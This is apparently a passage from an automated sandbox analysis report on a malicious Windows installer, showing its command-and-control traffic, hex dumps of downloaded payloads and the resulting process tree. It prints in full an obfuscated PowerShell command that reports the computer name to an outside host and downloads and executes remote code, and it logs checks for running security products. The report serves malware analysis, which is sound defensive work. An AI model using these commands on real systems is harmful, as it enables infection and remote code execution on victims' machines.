2024-12-30 18:10:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: learningypr.click
2024-12-30 18:10:28 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--DRON&j=637b55279021aab33278188cfa638397&hwid=72EED21FDE40A58D8585AB44483563E9
2024-12-30 18:10:29 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lqd4dar39ii92da606c3o3jfb7; expires=Fri, 25 Apr 2025 11:57:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o6X7Yn8Yf8dxSZvLdLsbLPd7cmHR%2BKPB9S0QGL%2FFhoOA5311RYrLnVMIv8nFfJbIbGBJVjyXkbTSslRyy49zPRlXTA5AKfljsai91rAMRhoiZzmZ8IFRvQ%2B4wXn7mosv2cVDsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fca1795841a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1642&min_rtt=1636&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=1015&delivery_rate=1784841&cwnd=239&unsent_bytes=0&cid=e30f75e56869ea1c&ts=485&x=0"
2024-12-30 18:10:29 UTC	218	IN	Data Raw: 64 34 0d 0a 41 6d 43 76 68 4e 35 46 74 4e 73 6a 4b 6c 30 33 63 78 50 30 37 6d 6d 7a 61 4e 31 5a 72 71 42 59 46 4b 2b 55 67 44 54 39 41 5a 31 5a 47 34 33 78 2f 48 2b 57 73 31 64 65 4c 55 52 4a 54 39 75 79 52 74 41 4e 75 69 79 41 30 7a 42 37 33 38 69 76 44 4d 67 32 71 54 42 57 6e 62 44 71 63 2b 6a 30 55 30 4a 7a 51 77 74 6e 31 73 4a 4c 31 52 7a 2f 59 35 79 4d 65 6e 47 4e 72 72 46 4a 30 58 71 2f 64 30 4b 56 70 72 59 78 77 4b 74 51 45 41 45 59 4c 7a 79 66 67 67 44 44 48 71 67 30 78 39 4d 74 66 59 48 6e 36 46 75 4e 58 62 4a 72 44 74 76 62 76 53 6e 45 68 46 42 43 50 42 6b 48 61 34 44 4d 52 5a 45 4f 71 58 75 55 6b 48 51 32 79 72 61 36 42 49 42 63 0d 0a Data Ascii: d4AmCvhN5FtNsjKl03cxP07mmzaN1ZrqBYFK+UgDT9AZ1ZG43x/H+Ws1deLURJT9uyRtANuiyA0zB738ivDMg2qTBWnbDqc+j0U0JzQwtn1sJL1Rz/Y5yMenGNrrFJ0Xq/d0KVprYxwKtQEAEYLzyfggDDHqg0x9MtfYHn6FuNXbJrDtvbvSnEhFBCPBkHa4DMRZEOqXuUkHQ2yra6BIBc
2024-12-30 18:10:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	185.161.251.21	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:29 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2024-12-30 18:10:30 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 30 Dec 2024 18:10:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2024-12-30 18:10:30 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	172.67.208.58	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:30 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2024-12-30 18:10:31 UTC	899	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:30 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xp7c0WXkbMZDSjy9Ndj28QN6tZoAow9O8wNU7%2B7xGIN9ZzTFUqXBv0ZpypEjd8c%2Fej5CyOoxnT2fRIUNxaZE88zLnhbknYoBLJ4QYPRoxetqQFblvDxilEgnpY6XscSFnQGv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fcae3b610cae-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1623&min_rtt=1563&rtt_var=629&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2867&recv_bytes=820&delivery_rate=1868202&cwnd=252&unsent_bytes=0&cid=8b4f34e6a6187cd2&ts=333&x=0"
2024-12-30 18:10:31 UTC	470	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 00 00 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 00 00 04 44 61 74 Data Ascii: RESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@Dat
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 43 6c 61 73 73 54 Data Ascii: r@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(JClassT
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 3f 00 04 81 Data Ascii: [@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage?
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 74 6f 72 2e 54 53 Data Ascii: @AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonitor.TS
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc 6d 29 40 00 77 29 Data Ascii: truction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$Am)@w)
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 72 69 6e 67 02 00 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUString
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 f4 ff 65 3d 40 00 Data Ascii: @~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@Ce=@
2024-12-30 18:10:31 UTC	1369	IN	Data Raw: 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 Data Ascii: Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(JCopy

Target ID:	0
Start time:	13:09:55
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0x400000
File size:	2'097'152 bytes
MD5 hash:	D781FD542A1DCB91C07C192BCAC16F8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:10:29
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?
Imagebase:	0xe0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:10:29
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:10:37
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe"
Imagebase:	0xf50000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:10:39
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$902A0,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe"
Imagebase:	0x1d0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:10:40
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT
Imagebase:	0xf50000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:10:41
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$90262,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT
Imagebase:	0xc00000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:11:11
Start date:	30/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff7235d0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:11:11
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff6880f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff649240000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff6566e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff6880f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff649240000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
